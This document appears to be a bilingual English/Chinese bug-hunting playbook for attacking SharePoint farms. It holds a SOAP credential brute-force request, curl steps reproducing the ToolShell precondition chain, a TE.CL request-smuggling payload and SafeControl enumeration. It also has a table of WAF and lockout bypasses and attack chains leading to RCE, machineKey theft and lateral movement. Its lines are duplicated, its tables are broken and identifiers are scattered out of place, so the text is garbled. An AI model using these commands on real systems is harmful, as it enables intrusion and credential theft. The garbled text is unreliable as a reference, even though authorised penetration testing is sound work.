POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope>响应代码:
- → 认证成功;随后会出现
<ErrorCode>NoError</ErrorCode>和<CookieName>FedAuth</CookieName><TimeoutSeconds>...</TimeoutSeconds> - → 认证失败(对于不存在的用户,响应也保持一致,不会通过错误字符串泄露枚举信息)
<ErrorCode>PasswordNotMatch</ErrorCode> - 500 + → 用户名为空
<faultstring>Value cannot be null. Parameter name: userName</faultstring>
ToolShell 前置条件复现:
bash
undefinedStep 1: anon GET ToolPane.aspx
Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
If value="" → precondition
If value="" → precondition
Step 2: anon FormDigest
Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo"
-H "Accept: application/json;odata=verbose"
| jq -r '.d.GetContextWebInformation.FormDigestValue') echo "Digest: ${DIGEST:0:40}..."
-H "Accept: application/json;odata=verbose"
| jq -r '.d.GetContextWebInformation.FormDigestValue') echo "Digest: ${DIGEST:0:40}..."
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo"
-H "Accept: application/json;odata=verbose"
| jq -r '.d.GetContextWebInformation.FormDigestValue') echo "Digest: ${DIGEST:0:40}..."
-H "Accept: application/json;odata=verbose"
| jq -r '.d.GetContextWebInformation.FormDigestValue') echo "Digest: ${DIGEST:0:40}..."
Step 3: anon POST ToolPane with digest
Step 3: anon POST ToolShell with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST"
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
-w "\ncode=%{http_code} size=%{size_download}\n"
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
-w "\ncode=%{http_code} size=%{size_download}\n"
**HTTP TE.CL smuggling on AWS ELB + SP IIS back-end** (consistent on SP farms behind AWS ELB):POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (`Transfer-Encoding : chunked`, `transfer-encoding: chunked`, trailing-space, mixed-case) produce a similar ~6 s hang.
**Picker.aspx SafeControl recon:**
```bash
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"curl -sk -X POST -H "X-RequestDigest: $DIGEST"
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
-w "\ncode=%{http_code} size=%{size_download}\n"
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
-w "\ncode=%{http_code} size=%{size_download}\n"
**AWS ELB + SP IIS 后端上的 HTTP TE.CL Smuggling**(在位于 AWS ELB 后面的 SP 农场中表现一致):POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
预期的后端挂起:约 12 秒,而基线约为 0.16 秒(在 5 次试验中结果一致)。混淆变体(`Transfer-Encoding : chunked`、`transfer-encoding: chunked`、尾随空格、大小写混用)会产生相似的约 6 秒挂起。
**Picker.aspx SafeControl 侦察:**
```bash
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>""Only PickerDialog types..." = exists, not whitelisted
"Only PickerDialog types..." = exists, not whitelisted
"Could not load type..." = does not exist
"Could not load type..." = does not exist
---
---Common Root Causes
常见根因
-
left enabled on the public-zone IIS binding. SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.
/_vti_bin/Authentication.asmx -
on layouts pages. SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have
viewStateEncryption="Auto"— exploitable if machineKey leaks.__VIEWSTATEENCRYPTED="" -
POST accessible anonymously. SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.
/_api/contextinfo -
NTLM enabled on public-zone IIS binding. Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.
-
SP2013 farms past EoL still internet-exposed. Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).
-
whitelist in web.config trusted as the only gate. Picker.aspx enforces an
<SafeControl>check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.instanceof PickerDialog -
AWS ELB + SP IIS without explicit Transfer-Encoding normalization. Default ELB forwardsto back-end IIS; IIS interprets
Transfer-Encodingwhen both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.Content-Length -
Default Windows-installer hostname () never renamed. Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.
WIN-XXXXXXXXXXX -
Custom-branding module () JS bundles loaded with
/_layouts/15/<Customer>/query strings. The query string reveals last-modified date — useful for "this app is actively maintained" vs "this app is abandoned" determination.?v=YYYYMMDD -
Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE. Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.
-
在公共区域的 IIS binding 上保持启用。 SharePoint 管理员在自定义登录 UI 上启用 Forms 认证,却没有意识到旧版 SOAP Login 端点仍可被独立访问。
/_vti_bin/Authentication.asmx -
布局页面采用。 对于不含敏感表单字段的页面,SharePoint 的默认 ViewState 模式为仅签名。ToolPane.aspx 等页面包含
viewStateEncryption="Auto"——一旦 machineKey 泄露即可利用。__VIEWSTATEENCRYPTED="" -
POST 可被匿名访问。 SharePoint Online 和 SPE 2024-07+ 要求 contextinfo 身份认证。较早版本以及大多数 SP2013 农场允许匿名 POST,从而返回有效期为 1800 秒的 FormDigest token。这是 ToolShell 的第二个前置条件。
/_api/contextinfo -
公共区域的 IIS binding 启用了 NTLM。 默认的双认证(Forms + NTLM)会让 NTLM Negotiate 对匿名互联网用户保持可用。Type-2 challenge 会泄露 AD 拓扑。
-
EoL SP2013 农场仍暴露在互联网中。 Microsoft 扩展支持已于 2023-04-11 结束。2023 年 4 月之后发布的每个 SharePoint CVE 都未修补。在企业集成商场景中十分常见(位于企业父 AD 内部、由 SI 管理的经销商门户)。
-
将 web.config 中的白名单视为唯一防线。 Picker.aspx 会执行
<SafeControl>检查,该检查已针对原始 CVE-2019-0604 向量完成修补——但底层 SafeControl 模型仍可通过 Picker.aspx 的错误差异被匿名枚举。instanceof PickerDialog -
AWS ELB + SP IIS 缺少显式的 Transfer-Encoding 规范化。 默认 ELB 会将转发给后端 IIS;当两者同时存在时,IIS 对
Transfer-Encoding的解释会与 ELB 发生状态不同步。多种 TE 混淆变体可以绕过简单的 WAF 规则。Content-Length -
默认 Windows 安装程序主机名()从未更名。 这是仓促部署的信号;同时也常与 SQL 后端默认服务账户密码、Central Admin 默认 farm 账户密码等因素相关。
WIN-XXXXXXXXXXX -
自定义品牌模块()的 JS bundle 带有
/_layouts/15/<Customer>/查询字符串。 该查询字符串会泄露最后修改日期,可用于判断“此应用仍在积极维护”还是“此应用已被放弃”。?v=YYYYMMDD -
当 AWS ELB 未将会话亲和性固定到单个 WFE 时,会发生跨节点 ViewState MAC 失败。 从运维角度看,这意味着系统已经损坏(用户每次 POST 都会收到 500 错误);从安全角度看,错误消息会暴露 farm 拓扑。
Bypass Techniques
绕过技术
| Defense | Bypass / Recon Strategy |
|---|---|
Branded | |
| Default IIS |
| Body of |
| Different services have different ACLs; enumerate all asmx separately |
| Stack traces leak even on auth-deny responses; combine with version disclosure |
Anonymous | Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation |
| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see |
WAF blocks | Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts |
| Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |
| HTTP/2 H2.CL smuggling | AWS ALBs often don't advertise |
Authenticate.aspx wraps | Test post-auth behavior with valid creds; pre-auth chain wraps everything safely |
| 防御措施 | 绕过/侦察策略 |
|---|---|
带锁定策略/CAPTCHA/MFA 的品牌化 | 旧版 SOAP |
| 默认 IIS |
| |
| 不同服务具有不同 ACL;应分别枚举所有 asmx 端点 |
| 即使认证拒绝响应也会泄露堆栈跟踪;可结合版本披露利用这一点 |
匿名签发 | 将匿名 ToolPane POST 与未加密 ViewState 配对;反序列化汇点可在不知道 machineKey 的情况下产生 RCE——随后由 shell 转储 machineKey,用于持久化再次利用 |
| 自定义错误页面 | 触发不同代码路径(XML 格式 ViewState → 双解析器错误差异——参见 |
WAF 阻止查询参数中的 | 将 payload 移至 Cookie/Referer/SOAP body——请求验证器不会进入这些上下文 |
| 枚举 SafeControl 列表;寻找能够绕过继承门控的子类 |
| HTTP/2 H2.CL Smuggling | AWS ALB 通常不会公布 |
Authenticate.aspx 将 | 使用有效凭据测试登录后行为;预认证链会安全地包装所有内容 |
Gate 0 Validation
Gate 0 验证
Before writing the report:
-
What can the attacker DO right now?
- Authentication.asmx anonymous + no rate limit → Critical (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)
- Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → Critical (RCE via well-documented public exploit chain, no patch will ship)
- NTLM Type-2 AD topology disclosure + default-Windows hostname → Medium
- SP2013 EoL alone → Medium-Low (compliance / hygiene; bug-bounty programs vary — some accept, many reject)
- URL echo without confirmed Collaborator callback → NOT SSRF — retract
download.aspx
-
Have you reproduced the full chain to attacker-attainable impact?
- For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.
- For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.
- For NTLM: AV-pair decode showing AD-topology fields is sufficient.
-
Can you reproduce in <10 minutes from a clean shell?
- Authentication.asmx: 2 curl commands.
- ToolShell precondition: 3 curl commands.
- NTLM Type-2: 1 Python snippet (the AV-pair decoder).
在编写报告之前:
-
攻击者现在能做什么?
- Authentication.asmx 匿名访问 + 无速率限制 → Critical(无限制的凭据验证;密码喷洒 + 来自 NTLM 的 UPN 格式 = 端到端 ATO 路径)
- 完整 ToolShell 前置条件链(匿名 GET + 匿名 FormDigest + 匿名 POST + 未加密 VS)+ EoL SP2013 → Critical(可通过公开且有文档记载的利用链实现 RCE,并且永远不会有补丁发布)
- NTLM Type-2 AD 拓扑泄露 + 默认 Windows 主机名 → Medium
- 仅存在 SP2013 EoL → Medium-Low(合规/卫生问题;漏洞赏金项目态度不一——有些接受,很多拒绝)
- 回显 URL,但未确认 Collaborator 回调 → 不是 SSRF——应撤回
download.aspx
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是否已复现可由攻击者实现的完整影响链?
- 对于 Authentication.asmx:进行 10 轮突发测试并确认时序一致(证明没有速率限制)即可。不要实际破解凭据。
- 对于 ToolShell:验证前置条件链(步骤 a+b+c)即可。不要投递恶意 payload。
- 对于 NTLM:解码 AV pair 并显示 AD 拓扑字段即可。
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能否在干净 shell 中于 10 分钟内复现?
- Authentication.asmx:2 条 curl 命令。
- ToolShell 前置条件:3 条 curl 命令。
- NTLM Type-2:1 段 Python 代码(AV-pair 解码器)。
Real Impact Examples
真实影响示例
Scenario A — a authorized SharePoint engagement against an EoL on-prem farm
场景 A——一次针对 EoL 本地部署农场的授权 SharePoint 测试
Target: — SharePoint Server 2013 build (KB5002381 / final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss <ParentCorp> importer) inside a corporate global AD (). Server hostname (default Windows installer pattern).
https://target-portal.example/15.0.5545.1000customer.parent-corp.exampleWIN-XXXXXXXXXXX11 findings shipped: 3 Critical, 2 Medium, 6 Low/Info. The three Criticals:
- Authentication.asmx anonymous credential brute-force — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.
- HTTP request smuggling TE.CL — 5/5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.
- ToolShell precondition chain — anonymous GET ToolPane.aspx (200) + anonymous POST (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) +
/_api/contextinfo. Permanent zero-day on EoL SP2013.__VIEWSTATEENCRYPTED=""
Plus Medium-tier: NTLM Type-2 disclosure of full AD topology (, ); SP2013 EoL exposure.
customer.parent-corp.exampleWIN-XXXXXXXXXXX目标:——SharePoint Server 2013 build (KB5002381 / 2023 年 4 月最终 EoL CU)。租户 = 企业系统集成商租户(瑞士 进口商),位于企业全球 AD()内。服务器主机名为 (默认 Windows 安装程序模式)。
https://target-portal.example/15.0.5545.1000<ParentCorp>customer.parent-corp.exampleWIN-XXXXXXXXXXX共提交 11 个发现:3 个 Critical、2 个 Medium、6 个 Low/Info。三个 Critical 如下:
- Authentication.asmx 匿名凭据暴力破解——10 轮突发测试显示时序稳定在 0.6-0.9 秒,没有速率限制、锁定策略、CAPTCHA 或 MFA challenge。响应均为相同的 431 字节。
- HTTP Request Smuggling TE.CL——5/5 次试验均显示后端挂起 12.18 秒,而基线为 0.16 秒。另外 4 种混淆变体(冒号前空格、尾随空格、小写、大小写混用)显示约 6.16 秒挂起——每种都绕过了简单的 WAF 规则。
- ToolShell 前置条件链——匿名 GET ToolPane.aspx(200)+ 匿名 POST (200,返回有效 FormDigest)+ 携带 digest 匿名 POST ToolPane.aspx(200,无身份认证 challenge)+
/_api/contextinfo。这是 EoL SP2013 上永久存在且无法修补的 zero-day。__VIEWSTATEENCRYPTED=""
Medium 级别发现还包括:通过 NTLM Type-2 披露完整 AD 拓扑(、);SP2013 EoL 暴露。
customer.parent-corp.exampleWIN-XXXXXXXXXXXScenario B — /_layouts/15/download.aspx?SourceUrl=
recognized correctly as NOT-SSRF (saved-time example)
/_layouts/15/download.aspx?SourceUrl=场景 B——正确识别 /_layouts/15/download.aspx?SourceUrl=
为 NOT-SSRF(节省时间示例)
/_layouts/15/download.aspx?SourceUrl=Same target. Initial scan flagged as SSRF because the server echoed the URL in the 500 error title (). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS/HTTP callbacks. Conclusion: is an SP-internal / resolver, NOT a generic URL fetcher. The "echo" is server-side error-string formatting. Saved from reporting an N/A finding by following the OOB-Or-It-Didn't-Happen Gate.
download.aspx?SourceUrl=http://oob.example.com/"The Web application at http://oob.example.com/ could not be found"download.aspxSPWebApplicationSPFilehunt-ssrf目标同上。初始扫描将 标记为 SSRF,因为服务器在 500 错误标题中回显了 URL()。跨 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标记的 payload,结果为零 DNS/HTTP 回调。结论: 是 SP 内部的 / 解析器,而不是通用 URL 获取器。所谓“回显”只是服务端错误字符串格式化。遵循 的 OOB-Or-It-Didn't-Happen Gate,避免提交不适用( N/A)的发现。
download.aspx?SourceUrl=http://oob.example.com/"The Web application at http://oob.example.com/ could not be found"download.aspxSPWebApplicationSPFilehunt-ssrfScenario C — CVE-2019-0604 patch verification via Picker.aspx
场景 C——通过 Picker.aspx 验证 CVE-2019-0604 补丁状态
Same target. Feeding (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned — meaning the type EXISTS and is reachable through reflection, but the dialog framework's patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.
Microsoft.SharePoint.WebPartPages.DataFormWebPart"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."instanceof PickerDialog目标同上。将 (规范的 CVE-2019-0604 反序列化 gadget)输入 Picker.aspx 后,返回 ——这意味着该类型存在且可通过反射访问,但 dialog 框架的 补丁会正确拒绝它。原始 CVE-2019-0604 向量的补丁已经部署。类存在性枚举本身会成为未来任何不经过继承门控的 CVE-2019-0604 家族攻击链的侦察线索。
Microsoft.SharePoint.WebPartPages.DataFormWebPart"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."instanceof PickerDialogCross-references
交叉引用
- Authentication.asmx legacy SOAP login → see Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.
hunt-auth-bypass - NTLM Type-2 AD-topology disclosure → see for AV-pair decoder + severity rubric.
hunt-ntlm-info - ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass → see .
hunt-aspnet - HTTP request smuggling on AWS ELB + IIS → see .
hunt-http-smuggling - OOB confirmation of any SSRF claim on SP → see OOB-Or-It-Didn't-Happen Gate.
hunt-ssrf - Engagement-type confirmation before treating hygiene findings as bug-bounty submissions → see PART 0 Mode-Confirmation Gate.
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- Authentication.asmx 旧版 SOAP 登录→ 参见 的 Legacy-Protocol Matrix,了解 WordPress XMLRPC 等价模式。
hunt-auth-bypass - NTLM Type-2 AD 拓扑泄露→ 参见 ,了解 AV-pair 解码器和严重性评级标准。
hunt-ntlm-info - ViewState 双解析器反模式、machineKey 恢复、请求验证器绕过→ 参见 。
hunt-aspnet - AWS ELB + IIS 上的 HTTP Request Smuggling→ 参见 。
hunt-http-smuggling - 对任何 SharePoint SSRF 结论进行 OOB 确认→ 参见 的 OOB-Or-It-Didn't-Happen Gate。
hunt-ssrf - 在将卫生问题作为漏洞赏金提交之前确认测试类型→ 参见 PART 0 Mode-Confirmation Gate。
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Related Skills & Chains
相关 Skill 与攻击链
- — Legacy SOAP
hunt-auth-bypassaccepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential →/_vti_bin/Authentication.asmxbrute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred →hunt-auth-bypassauthenticated surface./_layouts/15/ - — Every SharePoint farm advertises
hunt-ntlm-infoanonymously onWWW-Authenticate: NTLM. Chain primitive: SharePoint NTLM Type-2 challenge capture →/_vti_bin/AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain intohunt-ntlm-infoROPC user-enumeration spray on tenant tied to that domain.m365-entra-attack - — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing →
hunt-aspnetViewState dual-parser MAC-bypass → deserialization gadget → RCE inhunt-aspnetas farm account.w3wp.exe - — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (
hunt-rcereachable via the CVE-2025-49706 auth bypass — a crafted/_layouts/15/ToolPane.aspx?DisplayMode=Editheader pointing at ToolPane.aspx — + version vulnerable) →Refererdeserialization gadget chain → SYSTEM/farm-account shell →hunt-rcelateral via stolen on-prem service-account token to Entra-synced identity.m365-entra-attack - — SharePoint farms generate a lot of "looks like a finding" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at "is this actually exploitable on this farm" without a paired CVE PoC.
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- ——在配置错误的农场上,旧版 SOAP
hunt-auth-bypass接受匿名 Login 调用。链式原语:SharePoint 匿名 SOAP 登录探测 → 如果响应产生 cookie 或成功差异 →/_vti_bin/Authentication.asmx暴力破解矩阵(通过时序枚举用户名,针对同一 SOAP 端点执行低速 password spray,绕过 ADFS 层级锁定)→ 有效凭据 →hunt-auth-bypass认证后攻击面。/_layouts/15/ - ——每个 SharePoint 农场都会在
hunt-ntlm-info上匿名公布/_vti_bin/。链式原语:捕获 SharePoint NTLM Type-2 challenge →WWW-Authenticate: NTLMAV_PAIR 解码得到 NetBIOS 域 + 内部 DNS forest + DC 主机名 → 将域输入到hunt-ntlm-info,对与该域关联的租户执行 ROPC 用户枚举喷洒。m365-entra-attack - ——SharePoint 底层是 ASP.NET Webforms;ViewState、machineKey 和 SafeControl 反射均适用。链式原语:SharePoint 版本披露 → 确认缺少补丁 →
hunt-aspnetViewState 双解析器 MAC 绕过 → 反序列化 gadget → 在hunt-aspnet中以 farm 账户获得 RCE。w3wp.exe - ——ToolShell 前置条件链(CVE-2025-53770)是当前影响最高的 SP RCE 路径。链式原语:满足 ToolShell 前置条件(
hunt-rce可通过 CVE-2025-49706 认证绕过访问——即向 ToolPane.aspx 发送特制/_layouts/15/ToolPane.aspx?DisplayMode=Edit响应头 + 版本存在漏洞)→Referer反序列化 gadget 链 → SYSTEM/farm 账户 shell → 通过窃取的本地服务账户 token 对 Entra 同步身份进行横向移动,转入hunt-rce。m365-entra-attack - ——SharePoint 农场会产生大量“看起来像发现”的卫生问题噪声(FormDigest 签发、版本披露、扩展名阻止列表异常)。链式原语:所有 SP 发现均先经过 7-Question Gate 再提交——大多数仅涉及版本披露的发现,都会因缺少配套的 CVE PoC 而止步于“这个农场上是否真的可利用”。
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